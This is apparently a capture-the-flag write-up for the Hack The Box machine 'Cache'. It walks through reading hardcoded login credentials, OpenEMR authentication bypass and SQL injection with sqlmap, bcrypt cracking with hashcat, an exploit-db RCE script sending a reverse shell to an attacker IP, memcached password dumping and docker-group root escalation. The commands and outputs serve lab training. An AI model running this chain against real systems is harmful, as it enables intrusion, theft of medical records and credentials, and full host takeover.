Cache

Cache icon

Enumeration

Nmap

Started with the following nmap command:

nmap -sV -sC -p 1-10000 -oA nmap.res -v cache.htb


This is the nmap result.

Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.28s latency).
Not shown: 9998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 25 23:40:04 2020 -- 1 IP address (1 host up) scanned in 226.08 seconds


An ssh server and a web server is open. Let’s check the webpage first.

Web Pages Enumeration

By going to the homepage, here is the presented web page.
Cache homepage


There are a couple of links in here but we are interested these two:
Two links

Login Page

Let’s check the /login.html. Upon visting the page, we are prompted for username and password.
Login page html


At this point, we don’t have any credentials yet so let’s check first the page’s source code to check anything that may be useful.
Login page html source


The page source code has shown some important things:


With these in mind, let’s check first the javascript file.

Javascript Hardcoded Username and Password

Upong checking the javascript file, there is a hardcoded username and password.

/* /jquery/functinality.js */
$(function(){
    
    var error_correctPassword = false;
    var error_username = false;
    
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });
    
});


From the code above we can extract the ash:H@v3_fun credential. Let’s try logging in.
After successful login, this is the net.html page.
net.html page


However, there is nothing more to this page. We just have to hold on to those credentials that we have acquired. Thus, bypassing the login page will also become pointless since there is nothing useful even if we actually accessed net.html without the credentials.
Let’s now Move to the other important link, the author.html (Author’s Page)

Author’s Page

This is the author’s page
Author's page
One very important note to take here is that the author has another “project” which is the “Hostpital Management System” or HMS. This might pertain that there is another virtual server being hosted. We can add another domain name in our /etc/hosts for easy resolution to the domain when accessing through the web browser.

...
10.10.10.188	cache.htb hms.cache.htb hms.htb cache.hms.htb
...


We added a few combinations just to have a few more options.

OpenEMR

Let’s now access http://hms.htb. We actually hit something and it is the OpenEMR login page.
OpenEMR Login page
At this point, we might think that the credentials we have acquired earlier may prove useful. Let’s do that.
After entering the username and password acquired earlier, OpenEMR didn’t accept those.
Error Loging OpenEMR
Even under different usernames such as administrator, admin, openemr, etc., the password didn’t work. So we have to check if the OpenEMR itself has any vulnerability. And after googling “OpenEMR Vulnerability”, a vulnerability report (in pdf) is among of those results
Google Result
Since we cannot login to the portal, we need to find a vulnerability that requires no authentication to exploit.

OpenEMR Vulnerability 1: Patient Portal Authentication Bypass

Upon viewing the pdf, we can see at page 4 there is a patient portal authentication bypass.

“2.0 - Patient Portal Authentication Bypass An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to the registration page and modifying the requested url to access the desired page. Some examples of pages in the portal directory that are accessible after browsing to theregistration page include:”

However, what we’re trying to bypass is the administration login page. But with this patient portal bypass, we can actually chain this exploit with an another OpenEMR Vulnerability (SQLI Injection on /portal/find_appt_popup_user.php) which is a SQLI so that we can leak everything we can find in the database (hopefully there is the OpenEMR administration credentials)
By following the report, let’s first go to /portal/account/register.php. It welcomes us with this webpage:
Register Portal Patient
There is nothing to do here so then let’s go to /portal/find_appt_popup_user.php.

OpenEMR Vulnerability 2: SQL Injection Against /portal/find_appt_popup_user.php

Upon visiting the page, we will be able to see this.
popup user
It seems there is nothing in this page. We can click the “Search” just to see the GET variables to attack with. This is the URL after:
http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=
To check if it’s really vulnerable to SQLI, let’s insert a ' and some string to get a response from the server. I wrote 'OR 1; to catid to purposely cause error to the query.
Query error
It really is vulnerable! Let’s pass the automated stuff SQLI now to SQLMap

Setting up SQLMap

Remember that we have to go first to the patient registration page before actually going to the vulnerable page. So we have to get the cookies that we have when we visited the registration page and then set it to SQLMap. The cookies that were set are PHPSESSID and OpenEMR:


sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie "OpenEMR=m3s59f9ekb4dokt8po0ecp7u9b;PHPSESSID=4gnsf5ooj66r8rflrrp4r8r6u9"

Leaking Databases, Tables and Columns

SQLMap setting to leak the databases:


sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie "OpenEMR=m3s59f9ekb4dokt8po0ecp7u9b;PHPSESSID=4gnsf5ooj66r8rflrrp4r8r6u9" --dbs


Result:

...
[13:30:10] [INFO] fetching database names
[13:30:11] [INFO] retrieved: 'information_schema'
[13:30:11] [INFO] retrieved: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr


Let’s leak now openemr tables:


sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie "OpenEMR=m3s59f9ekb4dokt8po0ecp7u9b;PHPSESSID=4gnsf5ooj66r8rflrrp4r8r6u9" -D openemr --tables


Result:

...
[13:44:12] [INFO] retrieved: 'therapy_groups'
[13:44:12] [INFO] retrieved: 'therapy_groups_counselors'
[13:44:12] [INFO] retrieved: 'therapy_groups_participant_attendance'
[13:44:13] [INFO] retrieved: 'therapy_groups_participants'
[13:44:13] [INFO] retrieved: 'transactions'
[13:44:13] [INFO] retrieved: 'user_settings'
[13:44:14] [INFO] retrieved: 'users'
[13:44:14] [INFO] retrieved: 'users_facility'
[13:44:14] [INFO] retrieved: 'users_secure'
[13:44:14] [INFO] retrieved: 'valueset'
[13:44:15] [INFO] retrieved: 'version'
[13:44:15] [INFO] retrieved: 'voids'
[13:44:15] [INFO] retrieved: 'x12_partners'
...
| therapy_groups                        |
| therapy_groups_counselors             |
| therapy_groups_participant_attendance |
| therapy_groups_participants           |
| transactions                          |
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+


We are now going to leak the columns of users_secure:


sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie "OpenEMR=m3s59f9ekb4dokt8po0ecp7u9b;PHPSESSID=4gnsf5ooj66r8rflrrp4r8r6u9" -D openemr -T users_secure --columns


Result:

...
Database: openemr
Table: users_secure
[9 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| id                | bigint(20)   |
| password          | varchar(255) |
| last_update       | timestamp    |
| password_history1 | varchar(255) |
| password_history2 | varchar(255) |
| salt              | varchar(255) |
| salt_history1     | varchar(255) |
| salt_history2     | varchar(255) |
| username          | varchar(255) |
+-------------------+--------------+

Leaking Administrator Password Hash with SQLMap

Let’s leak the credentials under users_secure. Let’s dump the usernames and passwords.


sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie "OpenEMR=m3s59f9ekb4dokt8po0ecp7u9b;PHPSESSID=4gnsf5ooj66r8rflrrp4r8r6u9" -D openemr -T users_secure -C username,password --dump


Result:

...
[13:53:59] [INFO] resumed: 'openemr_admin'
Database: openemr
Table: users_secure
[1 entry]
+---------------+--------------------------------------------------------------+
| username      | password                                                     |
+---------------+--------------------------------------------------------------+
| openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. |
+---------------+--------------------------------------------------------------+
...


Now we know that there is only one user in the administration login portal and we leaked its password hash

Cracking Administrator Bcrypt Hash W/ Hashcat

Let’s identify first what kind of hash it is from Hashcat list. It’s a Bcrypt.
Bcrypt
Let’s crack it using hashcat


hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt


Result:

...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.:xxxxxx
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEc...F6P0B.
Time.Started.....: Sat Oct 10 14:11:34 2020 (2 secs)
Time.Estimated...: Sat Oct 10 14:11:36 2020 (0 secs)
...


We actually cracked it! The password is xxxxxx for openemr_admin. We can now login and this is the web page after logging in:
admin page

OpenEMR Vulnerability 3: Authenticated RCE via File Upload /portal/import_template.php

Going back to the vulnerability report, there is an arbitrary file upload vulnerability that can lead to remote code execution. (Page 25, section 9.1). However, a POC has already been implemented and uploaded to exploit-db. We will use this.
In order for the exploit to work, we need to set the username and password in the POC script:

...
data= {
    'new_login_session_management' : '1',
    'authProvider' : 'Default',
    'authUser' : 'openemr_admin',
    'clearPass' : 'xxxxxx',        
    'languageChoice' : '1',
    }
...


And also the attacking (our) machine IP address and the port we want to listen to.

...
$ip = '10.10.14.23';  # CHANGE THIS
$port = 4444;       # CHANGE THIS
...


Now we have to setup our listener before running the exploit script.

$ nc -lvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444


Finally, run the exploit script.


python3 48515.py


If the exploit is successful, we should able to receive a connection:

...
Ncat: Connection from 10.10.10.188.
Ncat: Connection from 10.10.10.188:56954.
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 18:31:39 up  4:20,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 


Let’s spawn tty from python3 in the target machine to have a better shell.

$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@cache:/$ 

Privesc Enumeration as www-data

Let’s check for other users. Let’c check the /etc/passwd

Checking /etc/passwd

www-data@cache:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false


We can see that there are 2 standard users, ash and luffy.

Escalate to User Ash

Remember the credentials that we got from the functionality.js in the login.html? Let’s try it.

www-data@cache:/$ su ash
su ash
Password: H@v3_fun

ash@cache:/$ 


It worked. We can now get the user flag from the home directory of ash.

Privesc Enumeration as Ash

Netstat

Let’s enumerate open tcp ports:

ash@cache:/$ netstat -l -n -t
netstat -l -n -t
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     


There is an odd port that’s open (port 11211). It turns out, it is Memcached. We can connect to it for keys that might have been set.

Connecting and Dumping Memcached Contents

We can use Telnet to connect to Memcached.

ash@cache:/$ telnet localhost 11211
telnet localhost 11211
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


Next we check the items for keys:

stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0


The number after “items” is the slab id. There are no other slab ids. We can check the keys inside the slab class.

stats cachedump 1 1000
stats cachedump 1 1000
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]


There are some interesting keys here. Let’s dump them all.

get link
get link
VALUE link 0 21
https://hackthebox.eu
END
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
get file
get file
VALUE file 0 7
nothing
END
get account
get account
VALUE account 0 9
afhj556uo


Good! We found the password for luffy. Let’s try to switch user.

Escalate to User Luffy

Let’s try switching to uesr luffy.

ash@cache:/$ su luffy
su luffy
Password: 0n3_p1ec3

luffy@cache:/$ 


It worked!

Privesc Enumeration as Luffy

ID

Let’s check what groups user luffy is in.

luffy@cache:/$ id
id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)


User luffy is part of the docker group. We can use it to escalate to root. We just have to check the images available in this machine.

Available Container - Ubuntu Container

Checking for available docker images

docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        12 months ago       64.2MB


We can use this to mount the filesystem and then run shell as root

Escalate to Root

GTFOBins - Docker

The exploit is very simple. More info here.

luffy@cache:/$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
root@5ad41b28c422:/#


The machine is pwned and we can get the root flag!

root@5ad41b28c422:~# ls -la
ls -la
total 44
drwx------  6 root root 4096 Sep 16 11:06 .
drwxr-xr-x 23 root root 4096 Jul  9 09:26 ..
lrwxrwxrwx  1 root root    9 May  5 11:21 .bash_history -> /dev/null
-rw-r--r--  1 root root 3145 Sep 18  2019 .bashrc
drwx------  2 root root 4096 Sep 18  2019 .cache
drwx------  3 root root 4096 Sep 18  2019 .gnupg
drwxr-xr-x  3 root root 4096 Sep 17  2019 .local
lrwxrwxrwx  1 root root    9 May  5 11:21 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Sep 18  2019 .selected_editor
drwx------  2 root root 4096 Sep 17  2019 .ssh
-rw-------  1 root root  532 Sep 17  2019 .viminfo
-rw-------  1 root root   33 Oct 10 19:10 root.txt


Thank you for reading.

Sources: